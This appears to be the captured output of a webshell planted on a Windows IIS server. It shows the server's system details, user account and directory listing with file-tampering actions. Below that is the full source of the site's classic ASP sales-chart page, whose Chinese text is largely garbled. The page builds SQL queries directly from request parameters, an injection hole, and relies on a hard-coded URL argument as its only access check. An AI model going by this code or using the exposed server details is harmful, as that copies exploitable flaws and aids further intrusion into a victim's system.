Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%Server.Scripttimeout = 5000%>
<%Response.Charset="gb2312"%>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="robots" content="noindex,nofollow">
<script type="text/javascript" src="js/echarts.min.js" charset="utf-8"></script>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.12.2.js"></script>

<title>ASC���ʹ�˾</title>
<style>
table{
 border: solid 1px #000000;
 }
table tr td{
 border-Bottom: dotted 1px #000000;
 border-top: dotted 1px #000000;
 border-right: dotted 1px #000000;
 border-left-width:1px;
 border-left-color:#000000;
 }
 .box{
 border-left-width:3px;
 border-left-color:#FF0000;
 border-Bottom: dotted 1px #000000;
 border-top: dotted 1px #000000;
 border-right: dotted 1px #000000;
 }
</style>
</head>
<body style="text-align:center; margin:0 auto;">
<%
'echarts_Zhixiao.asp?arg=Asc365NewSys&fromdate=2022-07-01&todate=2022-07-22&mm=12&fgs=&country=
    flgRead = Request.Querystring("arg")
    if flgRead <> "Asc365NewSys" then response.end
    arg1 = Request.Querystring("fromdate")
    arg2 = Request.Querystring("todate")
    mm = Request.Querystring("mm")
    fgs = Request.Querystring("fgs")
    country = Request.Querystring("country")
    userno = Request.Querystring("userno")

if len(arg1) = 0 then
        fromdate = DateAdd("m",-1,date())
    else
        fromdate = arg1
    end if
    if len(arg2) = 0 then
        todate = DateAdd("d",-1,date())
    else
        todate = arg2
    end if
    if len(arg1) = 0 and len(arg2) = 0 then
        fromdate = DateAdd("m",-1,date())
        todate = DateAdd("d",-1,date())
    elseif len(arg2) >0 then
        todate = arg2
        fromdate = DateAdd("m",-1,todate)
    elseif len(arg1) >0 then
        fromdate = arg1
        todate = DateAdd("m",1,fromdate)
    else
        fromdate = arg1
        todate = arg2
    end if

if len(fgs)>2 then fgs = left(fgs,2)
    if country = "" then country = "����"
    backtimes = -1

if request.Form("submit")="submit" then
        fromdate = request.Form("fromdate")
        todate = request.Form("todate")
        if datediff("d",fromdate,"2018-01-01") >0 then fromdate = DateAdd("d",0,"2018-01-01")
        if datediff("d",todate,DateAdd("d",-1,date())) <0 then todate = DateAdd("d",-1,date())
        fgs = request.Form("fgs")
        mm = request.Form("mm")
        country = request.Form("country")
        backtimes = request.Form("backtime")
        backtimes = backtimes*1 - 1

end if
   ' sql = "select a.opdt,coalesce(b.��������,0) as ��������,coalesce(��Ʒ����,0) as ��Ʒ��������,coalesce(avgprice,0) as avgprice,coalesce(FORCOSTPRICE,0) as FORCOSTPRICE from ( select cast(dateadd(D,number,'" & fromdate & "') as date)as opdt from master.dbo.spt_values  where type ='P' and number <=DATEDIFF(DAY, '" & fromdate & "', '"  & todate & "') )a left join (select opdt,COUNT((prdcode)) as ��������,SUM(��Ʒ����) as ��Ʒ����, SUM(avgpriceall) as avgprice ,SUM(FORCOSTPRICEall) as FORCOSTPRICE from CBEJIESUAN.dbo.BU_PRDZHIXIAODetail where  mm = " & mm & " and opdt between '" & fromdate & "' and '"  & todate & "' and org in (select parmvalue from OM_COMMPARM where FLDNAME = 'planorg' and DISPVALUE like '%" & fgs & "%') and country like '" & country& "%' group by opdt)b on a.opdt  = b.opdt "
   ' sql = "select opdt,COUNT((prdcode)) as ��������,SUM(��Ʒ����) as ��Ʒ����, SUM(avgpriceall) as avgprice ,SUM(FORCOSTPRICEall) as FORCOSTPRICE from CBEJIESUAN.dbo.BU_PRDZHIXIAODetail where  mm = " & mm & " and opdt between '" & fromdate & "' and '"  & todate & "' and org in (select parmvalue from OM_COMMPARM where FLDNAME = 'planorg' and DISPVALUE like '%" & fgs & "%') and country like '" & country& "%' group by opdt order by opdt "
    sql = "(select prd  from BU_PRDZhixiaoFankui where resultshenhe='1' and (country = 'ALL' or country = '" & country& "' )) union (select prd from BU_PRDZhixiaoFankui a where (country = 'ALL' or country = '" & country& "' ) and not exists(select * from BU_PRDZhixiaoFankui where result <>'1' and prd = a.prd and (country = 'ALL' or country = '" & country& "' )))"
    PrdsJingying = "(''"
    set rs=server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    do while not rs.eof
        PrdsJingying = PrdsJingying &",'" & rs(0) & "'"
        rs.movenext
    loop
    rs.close
    set rs = nothing
    PrdsJingying = PrdsJingying & ")"

'sql = "select opdt,COUNT((prdcode)) as ��������,SUM(��Ʒ����) as ��Ʒ����, SUM(avgpriceall) as avgprice ,SUM(FORCOSTPRICEall) as FORCOSTPRICE from CBEJIESUAN.dbo.BU_PRDZHIXIAODetail aa where  mm = " & mm & " and opdt between '" & fromdate & "' and '"  & todate & "' and  prdcode not in (select prd  from BU_PRDZhixiaoFankui where resultshenhe='1' and (country = 'ALL' or country = aa.country )) and prdcode not in (select prd from BU_PRDZhixiaoFankui a where (country = 'ALL' or country = aa.country ) and not exists(select * from BU_PRDZhixiaoFankui where result <>'1' and prd = a.prd and (country = 'ALL' or country = aa.country )))"
    sql = "select opdt,COUNT((prdcode)) as ��������,SUM(��Ʒ����) as ��Ʒ����, SUM(avgpriceall) as avgprice ,SUM(FORCOSTPRICEall) as FORCOSTPRICE from CBEJIESUAN.dbo.BU_PRDZHIXIAODetail aa where  mm = " & mm & " and opdt between '" & fromdate & "' and '"  & todate & "' and  prdcode not in  " & PrdsJingying

if fgs <>"" then sql = sql & " and org in (select parmvalue from OM_COMMPARM where FLDNAME = 'planorg' and DISPVALUE like '%" & fgs & "%') "
    if country <> "" then sql = sql & " and country = '" & country& "'"
    sql = sql & " group by opdt order by opdt"

echartsName = ""
    'response.write sql

dim mydata(10000,20)
    dim line_max
    line_max = 0
    set rs=server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    do while not rs.eof
        mydata(line_max,0) = rs(0)
        for i = 1 to 4
            mydata(line_max,i) = Round(rs(i),2)
        next
        line_max = line_max + 1
    rs.movenext
    loop
    rs.close
    set rs = nothing
    conn.close
    set conn = nothing
'����,��������	��Ʒ��������	�ɹ��۸�	�������ɱ�$
    datedt = "["
    cntsku = "["
    cntzhengpin = "["
    avgprice = "["
    forcostprice = "["

dttmp = fromdate
    if datediff("d",fromdate,mydata(0,0)) <> 0 then
        for i =0 to datediff("d",fromdate,mydata(0,0))-1
        dttmp = DateAdd("d",i,fromdate)
        datedt = datedt & "'" & year(dttmp) & "-" & right("0" & month(dttmp),2) & "-" & right("0"& day(dttmp),2) & "',"
        cntsku = cntsku & "0,"
        cntzhengpin = cntzhengpin & "0,"
        avgprice = avgprice & "0,"
        forcostprice = forcostprice & "0,"
        next
    end if
    for i = 0 to line_max -1
        if i >0 then
        if datediff("d",mydata(i-1,0),mydata(i,0)) > 1 then
        for j =0 to datediff("d",mydata(i-1,0),mydata(i,0))-2
            dttmp = DateAdd("d",j+1,mydata(i-1,0)) 
            datedt = datedt & "'" & year(dttmp) & "-" & right("0" & month(dttmp),2) & "-" & right("0"& day(dttmp),2) & "',"
            cntsku = cntsku & "0,"
            cntzhengpin = cntzhengpin & "0,"
            avgprice = avgprice & "0,"
            forcostprice = forcostprice & "0,"
        next
        end if
        end if
        datedt = datedt & "'" & mydata(i,0) & "',"
        cntsku = cntsku & mydata(i,1) & ","
        cntzhengpin = cntzhengpin & mydata(i,2) & ","
        avgprice = avgprice & mydata(i,3) & ","
        forcostprice = forcostprice & mydata(i,4) & ","
    next
    datedt = left(datedt,len(datedt) -1) & "]"
    cntsku = left(cntsku,len(cntsku) -1) & "]"
    cntzhengpin = left(cntzhengpin,len(cntzhengpin) -1) & "]"
    avgprice = left(avgprice,len(avgprice) -1) & "]"
    forcostprice = left(forcostprice,len(forcostprice) -1) & "]"

sfromdate = "'" & fromdate & "'"
    stodate = "'" & todate & "'"

if len(arg1) > 0 or len(arg2)>0 then
    %>
    <div id="btnrtn" align="left">
       <input type="button" value="����" onclick="javascript:window.history.go(<%=backtimes%>);"> 
    </div>
    <%
    end if
    if zuname = "All" then zuname = "ȫ��˾"
    zuname = "'" & zuname & "'"
    %>
    <div style="margin:0 auto; text-align:center">
    <form method="post" action="" align="center" name="prdmsg">

<table width="800" border="1" style="border-collapse: collapse" align="center">
            <tr>
                <td nowrap>�ӣ�<input type="text" name="fromdate" value="<%=fromdate%>"></td>
                <td nowrap>����<input type="text" name="todate" value="<%=todate%>"></td>
                <%if userno = "" then%>
                <td nowrap>�ֹ�˾��
                    <select name="fgs" >
                            <option value="" <%if fgs="" then %> selected <%end if%>>ALL</option>
                            <option value="ͨ��" <%if fgs="ͨ��" then %> selected <%end if%>>ͨ�ع�˾</option>
                            <option value="��ѷ" <%if fgs="��ѷ" then %> selected <%end if%>>��ѷ��˾</option>
                            <option value="����" <%if fgs="����" then %> selected <%end if%>>����˾</option>
                            <option value="����" <%if fgs="����" then %> selected <%end if%>>����</option>
                    </select>
                </td>
                <%else%>
                    <input type="text" style="display:none" name="fgs" value="<%=fgs%>"/>                
                <%end if%>
                <td nowrap>���ң�
                    <select name="country" >
                            <option value="" <%if country="" then %> selected <%end if%>>ALL</option>
                            <option value="����" <%if country="����" then %> selected <%end if%>>����</option>
                            <option value="���ô�" <%if country="���ô�" then %> selected <%end if%>>���ô�</option>
                            <option value="ī����" <%if country="ī����" then %> selected <%end if%>>ī����</option>
                            <option value="�ձ�" <%if country="�ձ�" then %> selected <%end if%>>�ձ�</option>
                            <option value="�Ĵ�����" <%if country="�Ĵ�����" then %> selected <%end if%>>�Ĵ�����</option>
                    </select>
                </td>
                <td nowrap>�����·ݣ�
                    <select name="mm">
                        <option value="12" <%if mm = "12" then%>selected="selected"<%end if%>>12����</option>
                        <option value="6"  <%if mm = "6" then%>selected="selected"<%end if%>>6����</option>
                        <option value="3"  <%if mm = "3" then%>selected="selected"<%end if%>>3����</option>
                    </select>
                    <input type="text" style="display:none" name="backtime" value="<%=backtimes%>"/>
                </td>
                <td nowrap><input type="submit" name="submit" value="submit"></td>
            </tr>
            <tr>
                <td colspan="7">ע����ǰ�����������ʱ�䷶Χ�ǣ�2018-01-01 �� ���졣</td>
            </tr>
        </table>
        <script>init2()</script>
    </form>
    </div>
    <div id="container" style="text-align:center; height:93%" >Loading...</div>
        <table width="1000" border="1" style="border-collapse: collapse" align="center">
        <tr><td>

</td></tr>
        </table>
</div>
</body>
</html>
<script type="text/javascript">

var mydd = [<%=cntsku%>,<%=cntzhengpin%>,<%=avgprice%>,<%=forcostprice%>];
var dataX = <%=datedt%>

</script>